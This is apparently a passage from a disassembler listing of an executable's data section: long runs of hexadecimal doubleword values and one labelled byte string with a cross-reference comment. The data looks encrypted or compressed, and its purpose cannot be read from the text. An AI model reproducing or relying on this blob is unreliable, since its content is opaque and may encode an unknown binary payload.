		dd 38BDAAA0h, 7865B225h, 0F781057Eh, 4DF13EBh, 9C634A4h
		dd 920EAE66h, 4E6E66F4h, 8630419Bh, 6169916Bh, 0E3092B41h
		dd 904CF555h, 0C3928BFCh, 2F2C798h, 0B216C430h,	3D96892Ah
		dd 39A5E9ABh, 1C604C5Ch, 13D9813h, 0F705585Fh, 301F036Bh
		dd 0D56051A3h, 20A4C64Dh, 0AF65CC4h, 0A848A127h, 0C975FE0Ch
		dd 8826F10Fh, 38B8EFCAh, 249D0534h, 94AF02Eh, 0F3592A41h
		dd 24848693h, 2782F6EFh, 9D1AF0BBh, 0E9E11D7Bh,	897C3969h
		dd 0EAF5A0F7h, 0FE4B766Bh, 0C84EDAACh, 1D787D86h, 4D09F398h
		dd 9A6FD368h, 61D90004h, 0B5658543h, 0CF007576h, 679C5B39h
		dd 0EE2A32E9h, 0BBF75A2Eh, 2BE5F141h, 0D6FE446Eh, 5A5F0B6Bh
		dd 0DCEC5AA1h, 795E62E8h, 9AEF7E64h, 5E2C2F1Ah,	0FB5D65F7h
		dd 0F8F72163h, 0E6351680h, 6CEA0950h, 18D89CE9h, 30FEBE1Ch
		dd 0D90A67D3h, 2302E446h, 7E0B9F4Eh, 4FBA02C5h,	765E310Eh
		dd 81D35625h, 0E843C6BDh, 0D8F46050h, 0FE325881h, 0FCF5F778h
		dd 0EBEB912Bh, 0BD55535Ah, 7EE711C0h, 6AC3B901h, 5CE9AF41h
		dd 8490DB29h, 34378984h, 8AB15884h, 73AEC6Bh, 544BABC1h
		dd 2C8BDFC9h, 0A772E775h, 0A0AA13FFh, 0B75EE868h, 72E2EBD9h
		dd 6EE7D5B1h, 3A0A532Ch, 50ADD756h, 2F5B64B2h, 9E288189h
		dd 925A3C80h, 42EDC54h,	1D236426h, 38223F83h, 1FAEE90Dh
		dd 3528821Ch, 6960567Ah, 0AA263251h, 77020338h,	0D0441E5Bh
		dd 0BEDFE0Dh, 6AEB4352h
		dd 0A4ACE5C8h, 1202D582h, 3B60C329h, 0D6063655h, 4A04E965h
		dd 0CD514E20h, 97866D5Eh, 90591BA4h, 0F2522D51h, 5D45B8D1h
		dd 5F056D9Ch, 92943766h, 0C6DFFAB1h, 3A729775h,	351523Fh
		dd 0FED1F686h, 0A36220C1h, 2B28BE54h, 0C77FA6Ah, 0CE5B630Ch
		dd 5E11FAFBh, 8610A49Fh, 6804FBBEh, 0ACA865ADh,	0E9E898F5h
		dd 0D1D7772Fh, 6E418598h, 1366B85Eh, 7E2BB45h, 33B4513Ch
		dd 6CECA0FFh, 0D425762Dh, 1427131Ah, 0FC00938Ah, 0C1395931h
		dd 0D9807EEh, 5A05470Eh, 697D603Ah, 30E92F92h, 354A2256h
		dd 0B30F6A57h, 9EC33161h, 0EACC8C12h, 0D399A450h, 25128ABEh
		dd 61C7D58h, 99F6874h, 209C734Fh, 0F4232F95h, 0BA356D23h
		dd 0AFBEE676h, 0D9EB7626h, 155FAF49h, 0A0D1AFE5h, 0A122C64h
		dd 85D88D0Ah, 0B3786D68h, 2C8B05EFh, 38B27F40h,	0CCDE291Dh
		dd 0C88DEEF3h, 0BCE92D4Bh, 62B84754h, 176A4F81h, 636AFF09h
		dd 0DF2542C0h, 496FD49Fh, 20316455h, 113AF8Dh, 0E2C58C5h
		dd 0CD3832E9h, 475EBA3h, 0A2BB5DF7h, 68590F07h,	0C76073EEh
		dd 9411C9E9h, 0F121E3B5h, 0C67C95EAh, 69EEE396h, 6AA83F5Eh
		dd 0EDC15CC1h, 0A1EF2003h, 276C1605h, 15D40DE9h, 799FFEDh
		dd 3256A51h, 67EC078Ch,	73EBEFFBh, 0A53E5264h, 804719EFh
		dd 0D20F87Ch, 0F471B5C6h, 72EE844Fh, 95C4B495h,	0EBB6E605h
		dd 0A9EC7565h, 4B77A9B7h, 5DB30AB6h, 2F942D68h,	96BF9C55h
		dd 0AD296A3Fh, 0E9C368D9h, 90EDD6EDh, 32B50226h, 0C031F580h
		dd 0CA5A60DDh, 5A609E43h, 1675797Dh, 2F26A1FAh,	0D72D0CF7h
		dd 3316A6DEh, 6E25D8AEh, 0E12AAE41h, 106B28D2h,	0AD5E8B04h
		dd 255C3431h, 0A85AD6BDh, 30EC0644h, 50C0A92h, 39242694h
		dd 4B91EE5Ah, 500F39Fh,	28324D77h, 822DA86Ch, 5D505E07h
		dd 2EB6DA4Ch, 0C5BDD38Dh, 821B02D8h, 0B5FBC5C0h, 3DBCB095h
		dd 62159E63h, 96795h, 0A02572AFh, 0DCBEC19h, 489E415Ah
		dd 364EC0Ch, 0C2A4635Fh, 7FFC09EBh, 380272B1h, 0F60BBE3Dh
		dd 0FDD98831h, 0FABB5300h, 3173547Bh, 0A84AD3F7h, 4B76E839h
		dd 68EBD105h, 45F927E0h, 37F61F82h, 2B8717D3h, 0C21BAA3Ah
		dd 0B845D2Eh, 4B748064h, 0C6503CE9h, 2A060539h,	1B8151Fh
		dd 99E9120Bh, 0AEAE90F9h, 31FA2CE7h, 91026CB5h,	65AE08B5h
		dd 0E458510Eh, 32EB66BFh, 76F8EE15h, 4BD9519Fh,	0ED205144h
		dd 0B640BF33h, 7C832587h, 0B56FB24Eh, 43C2B379h, 0F2EC4CADh
		dd 9227BF93h, 5C83A6D0h, 0EC2EAF41h, 41FAF5BCh,	7D685303h
		dd 50527350h, 4D4CAB9Dh, 0E5810545h, 4AE6E04h, 1636E817h
		dd 84169EF9h, 40718C06h, 774689B5h, 581596CDh, 0E1E90948h
		dd 0B99ED5B9h, 56314DBAh, 9F782F09h, 7002D639h,	2175051Eh
		dd 0A856A075h, 0F21090ADh, 3E925D3h, 16689307h,	832C4155h
		dd 96FD6C8h, 2981A326h,	0EA7C07CAh, 276F08CCh, 0E689101h
		dd 633B996Dh, 0F82B59A9h, 778D0684h, 90C78DDh, 362C1740h
		dd 0EE16EC73h, 0AD4FB5A6h, 0AC5FC464h, 0C4BB5900h, 0AE497650h
		dd 2FAA645Ch, 0E8C10DECh, 8B20B23Fh, 77793C6Eh,	23EDAA82h
		dd 65658E5Eh, 0E3EAA0D5h, 0A4D78049h, 53177ECh,	578958C2h
		dd 73E3BF20h, 0B5A6B8D3h, 0E9090FA3h, 1E776E42h, 83D24C43h
		dd 0B75EB8Bh, 0F8A7FC75h, 1B522968h, 0D7C61068h, 1E10BB00h
		dd 0EBC15486h, 903DE19Dh, 0E90240C2h, 34214A37h, 7D57AFF2h
		dd 20F539EAh, 80405745h, 32C27701h, 8819C19h, 0CCB98957h
		dd 2DE92C1Fh, 636AAF78h, 0DC1E0774h, 16A8E116h,	0EEFF5C89h
		dd 5EF7B75h, 1764F0Eh, 8C211D7h, 0BCE9C709h, 0F9DF34C2h
		dd 5F04CB7Ch, 48BD00EFh, 0B5506F38h, 0A1F7EE89h, 581D7C6Ch
		dd 4303A81h, 704D412Ah,	14C20207h, 8EEA7014h, 95D62EEh
		dd 0AEF177D6h, 0E953DE40h, 1695BC69h, 7E2FA209h, 75C8285Fh
		dd 0BF9FA053h, 2FDF8297h, 68AF3F4Eh, 0E01EF2E6h, 0F8A2A29Ah
		dd 0C0A03798h, 0CA12601Dh, 22B0C96Bh, 649DC0Bh,	0A0FFFE20h
		dd 0B4594B08h, 3612E484h, 0CAFA6CB2h, 30EB4B01h, 5D2EC314h
		dd 5E97B473h, 9708201Bh, 992CC4E5h, 84DE4A49h, 310A5D20h
		dd 0A1582592h, 0CDF01198h, 0F6C2E82Fh, 71B48902h, 9F73B6DDh
		dd 0BAC05096h, 676EC468h, 795E4C26h, 0CF31AC30h, 6D3B7756h
		dd 54F70C0Fh, 4A010C7Fh, 7834EBFBh, 64982CAEh, 0FE13B44h
		dd 7577463Ch, 0A8905964h, 448CA290h, 5AD01CABh,	5CD6648h
		dd 81BF47DCh, 483DB58Bh, 967C45A4h, 0F4CB2971h,	4B1AF751h
		dd 0E92CC85Dh, 0E0D170F4h, 776EEF33h, 0AABDF4EAh, 0F8C016B4h
		dd 0CE3CC00Dh, 20685559h, 4F3C0C13h, 89BE1EBAh,	0A3818F44h
		dd 0ED6043E5h, 75C203Fh, 71542602h, 650B7BE9h, 42A124A2h
		dd 0B471A9BEh, 499768C7h, 15F43A0h, 30D1BFFAh, 20019EC5h
		dd 0D85362C7h, 1D50AAA7h, 1C4F0883h, 992DC2E5h,	5EC1C210h
		dd 0F7EF30FAh, 0E12768F1h, 6994EE0Fh, 0A3D3696Ah, 2EE947CCh
		dd 4053DD35h, 31826DF9h, 717679B0h, 927B1F2Eh, 303BDA2Ch
		dd 45EB57F4h, 4DA20C0Ah, 0CB2C4B43h, 2A144979h,	2ECDBF7h
		dd 927208B4h, 0E7DF0B01h, 0E8C180B0h, 68C8310Eh, 0D62B2826h
		dd 88CC5264h, 0D05B4E6Dh, 574FEA5Dh, 0FF966525h, 6F75D18Bh
		dd 0F5E90428h, 1CE9F306h, 6DDF493Ch, 7AEA1A4Bh,	0D01F2079h
		dd 2B399B90h, 0C7072E14h, 99093429h, 0BDD6CE36h, 0FF0950ECh
		dd 5E0E8879h, 6EC3012Bh, 3A66DA1Ah, 9723A700h, 50F32127h
		dd 13B59A5Eh, 0F0537429h, 0AAE2E960h, 27B160C0h, 764BC180h
		dd 31A47D51h, 68A6B99Fh, 2EA37F98h, 8528AF5Ah, 0D5E92F5Dh
		dd 0F1024DD2h, 608F1696h, 0A570F751h, 0B445E912h, 514889F2h
		dd 14BB2D80h, 88951D30h, 2225079Eh, 5655A48h, 7F1F8B58h
		dd 0F18AFF27h, 13D5828Eh, 8E095154h, 7FDD670Eh,	45C00944h
		dd 5A7620FFh, 5A9F437h,	6A13D8FBh, 102D104Ch, 350132A6h
		dd 0FEE3FE3h, 99F83E09h, 0AB20C017h, 9AF18305h,	0A87856FBh
		dd 65DF0665h, 0EA0C694Dh, 1D8D0B10h, 6CD10FE9h,	81C96A08h
		dd 0B422DC6h, 57F42F39h, 0DB6603A0h, 0C3EAE930h, 35D05B01h
		dd 223E36FFh, 2FFB15D4h, 6550D54Dh, 201DD097h, 0BF041D95h
		dd 31AD3E7Ah, 5E66F582h, 7F1A6392h, 7CE2EB84h, 15EF4CC4h
		dd 0BF570429h, 88855E8Ch, 0E877C900h, 4EE913F2h, 251A1603h
		dd 8264E3F5h, 0FFEFD7E9h, 0CEBF1D96h, 0B95C4EDFh, 69F7923Bh
		dd 83CAEFD3h, 42021C2Dh, 0D0036B96h, 0A998B9E7h, 0EF175F29h
		dd 0D618AB56h, 125AD57Bh, 2DDF745h, 0FF4A7620h,	0C827ABE0h
		dd 0C004BD83h, 7993A709h, 0B7CD95C4h, 0D41BE103h, 0E0DEC10Dh
		dd 0E897F3D6h, 2D5B4895h, 0AF850E22h, 0EF09B055h, 2A522513h
		dd 7A8201Dh, 1E91D698h,	0AD50E91Dh, 78D15C2Dh, 0B5255F04h
		dd 1302C4BFh, 0E94D20CCh, 6B95697Ch, 0EE5DB973h, 5214E155h
		dd 0FE38F7h, 0F6815926h, 3B6A4F9Bh, 0CE834602h,	293E5272h
		dd 7D181A04h, 8AC07E3Ch, 975D93E9h, 96BCF3F9h, 64F2F484h
		dd 4E3B5978h, 2EC5830h,	314B1125h, 86E90BDh, 0BDEF6EA5h
		dd 80BA0234h, 8F8837EAh, 0CC67E4BBh, 5F4F4AAh, 0AE91CCB5h
		dd 80B64E4Bh, 0AEEE8052h, 18B8686Bh, 0A1F18847h, 4CF6E7C6h
		dd 7648B808h, 28AA097Bh, 94C0E2C1h, 0EA164977h,	0CEB44253h
		dd 756E17D4h, 0A0D91221h, 0FA2D292Eh, 7AFD745Fh, 0A5FC8A10h
		dd 6232ED6h, 0F4BFD4C1h, 16623C8Eh, 5EAA6890h, 576A787h
		dd 4DC7D749h, 3C16805h
		dd 48565AAh, 8AA0E85Bh,	0CB522477h, 0FB059E02h,	0F4C1D039h
		dd 7EFE0568h, 0EF5A16B1h, 849B6200h, 9F51D0B5h,	59CB2660h
		dd 9A254BB5h, 206A5AD9h, 2CFC9C79h, 0AE0FF4Fh, 0E8203B1Dh
		dd 5452590Fh, 0B19BFFB2h, 0B53CE90Eh, 8BBB16h, 0ABA1C55Ah
		dd 0F19345E6h, 0F7AA0434h, 0EC307D47h, 4FED778Fh, 0CDC247Ah
		dd 0ACC5016Bh, 82167B56h, 5C58240Ch, 0A6F05F4Ch, 0C400883h
		dd 3A4F6814h, 0DAB231ABh, 5F5501F3h, 5DF8097Ah,	774E095Fh
		dd 3B58CDC9h, 0E90B25CFh, 5EF1B88Bh, 0B1288881h, 44808170h
		dd 521E0D45h, 691F3EBAh, 0E2006867h, 66BC46D6h,	95FCECE9h
		dd 94B61FCh, 35D71042h,	95479F98h, 269CF525h, 4AAC2920h
		dd 8165125Dh, 0A17B5Dh,	73F79658h, 509217D6h, 505F8A52h
		dd 0ED7089CFh, 58C25C9Dh, 5E275C84h, 91AC5F0Bh,	0BD5E6E32h
		dd 11267CAh, 0EDCCABD0h, 43B50B2Dh
aAqGRodzk?dvpdO	db 'AQпу┐',7,'Ю▌dZK?└V╞╓пo',0 ; DATA XREF: ___:off_42DE44o
		db 55h
		dd 0E1810EB8h, 5C882FCFh, 4B1D273Dh, 0FE0C9705h, 72EC0213h
		dd 906CB4Bh, 276AAE68h,	0FF17A422h, 60070318h, 0C2D9624Dh
		dd 155A3FB6h, 2F40677Eh, 83C2195Eh, 0E9F175E1h,	20CB0308h
		dd 1DB906B6h, 0A637D836h, 0BB0D016Ah, 1015132Ch, 5DC98BD6h
		dd 3507F2C4h, 645E56A3h, 0FCD450D4h, 0F53E4EFCh, 17081D24h
		dd 0D8BFB581h, 5727F36Bh, 965578AFh, 34742F7Dh,	3696C580h
		dd 5FE93DEAh, 0BE110126h, 6B6F397Ch, 400E0EBCh,	0E9E25B5Dh
		dd 44A0592Fh, 0D6E005BBh, 0D2EB6A7Dh, 0F3FE5904h, 0C6D8C491h
		dd 0BE1521Fh, 7CC29C99h, 0BFA6CE7Dh, 0BEB54DC0h, 64E72FCBh
		dd 3533302Ah, 95B58F1h,	25BDC75Ch, 4F8A46C2h, 574BF0F8h
		dd 0CE706597h, 36061090h, 0BFACEC79h, 0E839C489h, 16D1688Ah
		dd 54C95C88h, 7CAE9D45h, 7BB65F69h, 0B1671989h,	5A644229h
		dd 2F4D7F2Ch, 0E4668ACFh, 7117DA27h, 0BE6C4B6Eh, 5322D695h
		dd 4260C427h, 6F0E718Bh, 6A99E4h, 0AD6F432Dh, 0E801346Dh
		dd 43081F5Ch, 5F5A762Bh, 7056628h, 0E95D5E05h, 93E4731Fh
		dd 6EB84135h, 8EF8C3F1h, 81419EA4h, 38954417h, 8E062F89h
		dd 6F1CCB48h, 554F995Bh, 88D19E65h, 93A19DDDh, 0D7290259h
		dd 0FDDC8242h, 29AE4BBAh, 146B3D55h, 0CC9F5396h, 7EB6CE55h
		dd 897B0261h, 0E8315EF5h, 688441D9h, 31EA0B99h,	6E7A6D7Fh
		dd 0CA533823h, 5FA07787h, 740D0EF6h, 4C0C80E5h,	316DF321h
		dd 77E924F0h, 935E9D6Eh, 17EDBCC0h, 0E1BC348Bh,	8954E9B4h
		dd 0F105556Ch, 0ACE3EF87h, 0C0994493h, 996218F1h, 0D9F68035h
		dd 0CA575FFAh, 10F74621h, 68091FDEh, 0D1ED7271h, 0FBE0E905h
		dd 0C61D8CBAh, 813EB341h, 3CCB9027h, 1C39A19Fh,	2B469D3Ah
		dd 0A8FC6C52h, 0A1BAA077h, 2B6A3532h, 0F84BFA1Dh, 6112F929h
		dd 9143E9h, 16E32D5Dh, 5056A103h, 5F090706h, 0D5A036E9h
		dd 313511B8h, 0AD045573h, 8945DA6Eh, 0ACF712BBh, 3CAA4F8Bh
		dd 0D8AADE57h, 0F09AD2DDh, 49D22536h, 0E904F456h, 31FF16DDh
		dd 1E0B0F7h, 0C0CAE188h, 0EED7F62Ch, 805B02FCh,	0DE9BCF4h
		dd 550B89F7h, 0E98445EFh, 3EC8D6B9h, 0D2A4EDE3h, 0B35D09B8h
		dd 0BD00B464h, 5B3A0E87h, 44EF581h, 0E9766A01h,	2FDFAC7Ch
		dd 0B5945554h, 1345B91Ch, 86AD4B7Fh, 5FC03939h,	4FC5195h
		dd 6125974h, 4E74A3C4h,	2AD91D66h, 0C5025BD8h, 4AB3FA8Eh
		dd 0FCF7578Fh, 27E938F0h, 563CB9DFh, 30027DFCh,	0F6A876E4h
		dd 11D3DCAh, 4F57E978h,	284F8ADh, 9764AE61h, 66E9E0EEh
		dd 8E16604Ch, 8FE66505h, 0D89A1CFAh, 0E9361079h, 6E80415Bh
		dd 975BDA31h, 1017361h,	493E5E57h, 2CD07074h, 77F9474Eh
		dd 1A9B257Ah, 0BBF03348h, 180BC0ACh, 8920947Fh,	37AD440Ch
		dd 0A1AD38D3h, 0E9CA2AA5h, 0C18A2440h, 6CE0EB4Ah, 9F781686h
		dd 1435BC14h, 0CD3BB0h,	0CE9763B8h, 6D82965h, 18E72D5Bh
		dd 0B5249E1Eh, 0C5AE3392h, 0BBE9C3Ch, 7269D62Dh, 0D01E3A61h
		dd 0B57259h, 0DC09BEDCh, 2025B0B4h, 0BA01C232h,	428A274Bh
		dd 813AE2D1h, 80B42248h, 2CF0BBE6h, 24684833h, 0C4796F29h
		dd 81BDFCB9h, 3EC80CC9h, 82C3F7ECh, 0C8B65E58h,	17F0EB92h
		dd 0C083D05h, 0F0645E35h, 94B35BB7h, 26447849h,	58319B51h
		dd 282D564h, 445FF9E2h,	0C31E55DDh, 0B8EBC3Eh, 45D13004h
		dd 64D969B1h, 0F1D74B09h, 0D1FAAD0Dh, 37EE1936h, 6BF41D84h
		dd 14A46C02h, 582D07F2h, 0B4097E54h, 2D14D568h,	0D424EF7Bh
		dd 0EB125A4Ch, 4B839AABh, 530B0A04h, 368959ACh,	0AA818AE2h
		dd 6E1B184Dh, 0F3078FC1h, 0A0D26602h, 3FEF5DEAh, 5022603h
		dd 4C1C3603h, 6C43180Eh, 7EEA0740h, 8179B545h, 200CCE8h
		dd 0E97E544Fh, 0ACC758DCh, 1D5E9D7h, 7C685251h,	5AE99F18h
		dd 60EA348Fh, 298121A9h, 78301C36h, 2CBE05E3h, 0C0C076E5h
		dd 606A65B4h, 4EAE0C6Fh, 52020ED7h, 0E7C6DFBAh,	7BC27FEAh
		dd 0E488B2E4h, 7220E957h, 98DDF082h, 0B910B5B0h, 0B82F2E2Fh
		dd 4BB3F012h, 0BB18C481h, 905DDD8h, 2B0954F1h, 0BC097554h
		dd 0B31A75B4h, 4FF24C77h, 0FBA2C593h, 292EC58Bh, 48F8AF4Fh
		dd 6AFA3507h, 0F75044FDh, 1810AE15h, 0D658C529h, 0D80B2B31h
		dd 0A126E941h, 0D3F793EEh, 52E848CDh, 0FB8A46Ch, 6FE5091Bh
		dd 1284D6Bh, 847E16F7h,	0D7A0BECBh, 0B53870FBh,	0FD6B80FCh
		dd 39202FE4h, 13BB0EBAh, 4B67BD2Eh, 919AC543h, 2A585B31h
		dd 0D084E2E2h, 92171320h, 2D7B30E9h, 9981B76h, 45C70308h
		dd 303B5368h, 7C36CC32h, 0F6496038h, 62A02563h,	5CD12126h
		dd 3BE0EC1Dh, 149679B7h, 89098D9h, 0C1132967h, 2AE6DFB9h
		dd 0ECFE8882h, 79EDF42Fh, 0F9F7EB4Ch, 8BE4E7FDh, 225A9EB9h
		dd 5D77D40Bh, 1010774Dh, 0D9C97D62h, 9B330455h,	33AD0501h
		dd 0DAC941D8h, 0F3578092h, 120C7AD7h, 42F5FD09h, 13604A25h
		dd 0BDA64E73h, 87C9DED0h, 7D64DFB9h, 216B1617h,	8F1856ECh
		dd 0D9EA592Eh, 6A020616h, 1904197h, 9D3F651Ch, 0F1D6EAC0h
		dd 0AAC2E7C0h, 0C1074548h, 1F1AB826h, 0DCEC3B38h, 1CA00841h
		dd 8A8D9414h, 8BB4841Bh, 64F558C6h, 0AB4930F1h,	12F3681Ah
		dd 580E5C00h, 0F826EC05h, 0E930C21Eh, 84CAD48h,	10D3E398h
		dd 0BE4E58B3h, 9C803223h, 0AE02BB10h, 4A55B279h, 80EDF155h
		dd 0E9EA87D5h, 93A8E3EEh, 0B29859CAh, 565D7509h, 0B0FD743h
		dd 4048D88Bh, 548050AAh, 0BB0ED05Dh, 7F9BF08Dh,	0FD1CFD22h
		dd 284852D3h, 1CA8F08h,	0A423CEBEh, 88D5055h, 544F295Eh
		dd 11D015ACh, 0B64B324Ch, 621AC9F7h, 711B7D08h,	0AC28CCE8h
		dd 889F4198h, 742D0821h, 16DC7273h, 51EC1442h, 6B2D3CB1h
		dd 80F70962h, 0E34E1F0h, 5D099561h, 0CF2601E5h,	0CAD15427h
		dd 4AB70874h, 0CF895B07h, 0E49CD282h, 1F3D7211h, 9FA8709h
		dd 8DD1E81Ch, 6D72E3Ch,	0BF2D6683h, 9587A447h, 0DA435F7Bh
		dd 0A0135C10h, 7172B803h, 0B3D123C7h, 57952AE6h, 35619CFBh
		dd 406F230Bh, 0E953E064h, 9458BA86h, 319D42EFh,	0E7EC5F05h
		dd 0F849EF80h, 895F017Ah, 52C62BE8h, 0FB53FAAh,	42133F3Bh
		dd 0F6E1FB89h, 0C4CCD965h, 6113BC67h, 705352D1h, 0D9EE51BAh
		dd 93DFF895h, 0F4253F98h, 82311657h, 625561B1h,	9564164h
		dd 994830BEh, 0E8AB7C87h, 0F15A0501h, 1461CE4Ch, 16D2DA3Ah
		dd 32F3E84Fh, 0BE01538Bh, 7E69209Ch, 0B850C560h, 0B65C164Eh
		dd 6D12AF55h, 72A15F17h, 0AF4FB228h, 205F368h, 34593E71h
		dd 645DAFE9h, 1B6B04B3h, 1D0109A3h, 2A55D22Ah, 0A4D12AE9h
		dd 0B26B9750h, 0E3B2E472h, 80FB01C4h, 9010CD8Ah, 9EA73F5Bh
		dd 0E060E90Ch, 0CE3980C8h, 11F69E31h, 169ABECDh, 9C18BD11h
		dd 66CA0101h, 25563F23h, 9F54D074h, 5C62AD4Eh, 0D1E3C31Eh
		dd 49238947h, 1492B5D1h, 0D6874281h, 7699E642h,	6EE162F4h
		dd 6F265419h, 0C9BEB65Ah, 0BF454CDh, 0E55F5E54h, 0A4F61395h
		dd 7D2CEF0Eh, 33B7D74h,	0CF0F2BC7h, 0F5180568h,	86074A0Dh
		dd 8831CECh, 0E9141C40h, 0CC86122Dh, 78ED8008h,	0FB22D1Eh
		dd 1B1CF600h, 0F6EC10CEh, 496AB809h, 2DD4F488h,	0E3096CFAh
		dd 5776AD69h, 533CF931h, 0EDD45FE1h, 88448480h,	5A921298h
		dd 16768A28h, 4BAA8968h, 7428D26Bh, 0B02E12E7h,	660C5597h
		dd 0FE19F8BDh, 6FB23CF5h, 80EB0192h, 3C7C37Dh, 4B985AFCh
		dd 0E940A304h, 0B3AFFDACh, 3A2D510Bh, 0AAC08331h, 0D8C68D80h
		dd 1BA8A9Ch, 0FAA9F34Eh
		dd 0C40AE983h, 61EB293Fh, 26506803h, 0F237CC2Eh, 572D7C72h
		dd 0C100F559h, 3EAF51A0h, 0ED0E4960h, 4E308267h, 9E1A8353h
		dd 454FF0C0h, 0C51529Fh, 826D80F5h, 0CE05B922h,	21424A6Ah
		dd 1E5DBB0h, 0FEC58103h, 2F4B674Dh, 34896FACh, 5B5AE8D8h
		dd 0D7C44AF2h, 5E3DFB0Ch, 81A5D579h, 15698CCh, 5361EB80h
		dd 138B0893h, 2A332D8Bh, 70C9E0A1h, 42090B3Fh, 53066582h
		dd 3C5CB41h, 955B081h, 0C156039h, 70C781Ch, 484BDA80h
		dd 0F10283B6h, 6A7A6BFAh, 51BF5CE4h, 0EFBA012Ah, 2B5D1E28h
		dd 0FC1886E2h, 0D10114EEh, 0BCE9D0C9h, 8AF59E34h, 24AEFA2h
		dd 0BE830C2h, 0F3818942h, 28C163F8h, 156016F7h,	0FA2974AEh
		dd 4053732Ch, 7AE00566h, 0BA41E03Ah, 675197DFh,	0FDDADF09h
		dd 3E0CA690h, 0F6E2E394h, 0A79FF4E1h, 0F4CFEE5Bh, 19D33097h
		dd 0F32DF5h, 0EA09CEF0h, 0F7F2875Dh, 3408DE6Ah,	62717D05h
		dd 0C17ACD06h, 0F09D85h, 952F5D0Bh, 9789660Ah, 708857Eh
		dd 45512ECh, 826FCF46h,	205E4126h, 51C64B12h, 0ABF9EFA6h
		dd 979D8A24h, 0F93A6D0h, 8502512Ch, 4025B90Ch, 40FC5B5h
		dd 98685861h, 0C3C0BC75h, 9C83601Dh, 3602C7BEh,	0B8230DEh
		dd 1E015042h, 6DC3FBE9h, 0A6E9D2B2h, 0AD2D7584h, 0D0F2D2F4h
		dd 0D680F27h, 780E36C2h, 0D201434Eh, 3E1F0101h,	657058A8h
		dd 0C6FA92D2h, 5373EE74h, 0EF3AC760h, 1392428Dh, 0AAFE095Fh
		dd 48F6DD60h, 0ADFC047Ah, 10D535E9h, 0B0673FBAh, 62C20D49h
		dd 6B1848E8h, 2B1E2E05h, 10C7EB75h, 0B495953h, 0C555160Ch
		dd 90EAE604h, 0F3F4077h, 0DA872906h, 0C008D3F7h, 36D8DBC6h
		dd 0D71E210Eh, 703828E9h, 0FA75F69Dh, 1374F97Dh, 175496Bh
		dd 0BE1D3C5Fh, 9802C273h, 0AD6AE5FDh, 0D60BF7D1h, 8BCB2EC7h
		dd 0DA4F4358h, 2F025C42h, 0C6CB6D56h, 82C18070h, 0F34AA4CFh
		dd 75C27BC1h, 0C42652D3h, 7E38998Bh, 0A5F7C983h, 0C2F45EF7h
		dd 0E8965EADh, 0C8C6C4E7h, 2CB6802h, 0AC25EA4Ch, 91B257D6h
		dd 2E974C60h, 756B75BBh, 34128E9Ch, 0C404EC32h,	0EA88D1AEh
		dd 567D2C20h, 1BF100B9h, 9F23D42h, 0BF26CB7Dh, 5759D151h
		dd 155BF66Ah, 5845C76Eh, 116D0EFFh, 0D00D671Fh,	5439450h
		dd 26F112B1h, 0BFAF8596h, 2FAA7712h, 0FF586538h, 22B5954Bh
		dd 6CEA01DFh, 0C027A41Bh, 6E3E0580h, 840B250Ah,	852C174Ch
		dd 0AD1273AFh, 5304CAFAh, 74BB93D0h, 5729B4C8h,	123F9541h
		dd 1EFB4E7h, 2BB9CD51h,	9E53C012h, 62C39BEEh, 6A6CE90Dh
		dd 1027C41h, 15776DF3h,	34F56042h, 2EC48A04h, 8FCDF89h
		dd 6F4EC20Eh, 0D0D0FF32h, 12CC5F3Fh, 4E45E917h,	93CB4153h
		dd 0F7F4EA57h, 5C499FF9h, 0B954C586h, 8BBA978Ah, 14FB40E1h
		dd 4D604900h, 9FB6F0BFh, 9C0169B2h, 4397D100h, 0F8C17AA9h
		dd 0D5E344Dh, 54EC2A21h, 92E05482h, 0AFA14F67h,	26B4CC67h
		dd 1E2FBFF1h, 6830C514h, 0B382BA15h, 498E8F43h,	0C5D02C3h
		dd 0F5680274h, 10D277CBh, 0D9296748h, 0E998F19Fh, 0FFDBE184h
		dd 64925937h, 70595E4Fh, 924AC180h, 4731CCEDh, 383872Eh
		dd 5517B15Bh, 78BE8785h, 0F8BAC61Bh, 0AE25C0E9h, 5503CD98h
		dd 13E5D52h, 9B4010CFh,	7A5A2DB4h, 2C0B9DC2h, 5D4FEEF4h
		dd 0E3DDA496h, 66FDE575h, 8003C72Ch, 0DBF676CBh, 80EEE3A9h
		dd 2865C30Bh, 71D05BD9h, 0B894EE9h, 12FF2130h, 0D061D6AAh
		dd 8182C4D5h, 438E685Dh, 0EF11C507h, 0E58F0015h, 0C66F98AFh
		dd 0D0C19341h, 0EA47D8E9h, 1EDB50B3h, 39F18816h, 0C73B8AD1h
		dd 98F99D7h, 5B39B694h,	2F6C294Eh, 3B1F245h, 63E9CA02h
		dd 0FEC0A922h, 0BB7B4574h, 31137E8Ah, 780900C3h, 539BD08h
		dd 0D18F9ABEh, 4DC8EEE0h, 2B6408C1h, 4CB0B2D4h,	7D25B25Ch
		dd 1ABF6A00h, 4A5A4855h, 0B44A83ACh, 2C142A9Ah,	1E0870DAh
		dd 725C01C5h, 0D9CD4CD3h, 84100C06h, 2DE8B31Ch,	0E906F1CDh
		dd 2CEF99A5h, 0C50F73DDh, 0F5B657B2h, 507CE531h, 736DBE83h
		dd 0F21B282Fh, 38EC9F67h, 0C8B8E917h, 9C395E4h,	1C71F42h
		dd 0AF93C81h, 0C00CBBFh, 10093B43h, 0BEA369E9h,	0D1256F53h
		dd 9F6BF3DCh, 5A21418Bh, 65E8000Ch, 0E0C17BCEh,	0B2030504h
		dd 2D09AC0Eh, 9BDF8196h, 31BFB03Eh, 0C38ACD52h,	0D8C7E9h
		dd 709DBDE6h, 554D3BD2h, 0DDF0229Fh, 95350068h,	0DFCCE3Dh
		dd 83D2EE6h, 7EFB0E10h,	12EF361Ah, 24E8AAAh, 0E742B2BAh
		dd 1ADA753Ah, 8060264h,	0F0FB050Bh, 0AB0DFE13h,	957AF415h
		dd 1F81AB07h, 0AC6EC9ECh, 9241C42Eh, 4921A6FEh,	8389504Dh
		dd 2D00AC9Ch, 5926769Dh, 18750405h, 0A15A2820h,	0CFA01C4h
		dd 0C4033C67h, 90ECD77h, 5CA371D3h, 8BEE051Ch, 5C538510h
		dd 0E8D025BEh, 0EE49A50Fh, 138BD155h, 0EEFEC45Dh, 0E909698Eh
		dd 18579846h, 0BC99B420h, 666D88D7h, 4460F2C0h,	60849836h
		dd 5EEDA584h, 3B7BAD73h, 0CD1D2237h, 81D74D6Eh,	0CB595EF0h
		dd 5EF3E249h, 1271CA1Fh, 53F54E98h, 1A6CC830h, 1FACAEB1h
		dd 0DD638FD6h, 0FA554B41h, 0CD3EF86Dh, 75ED6A60h, 5345D116h
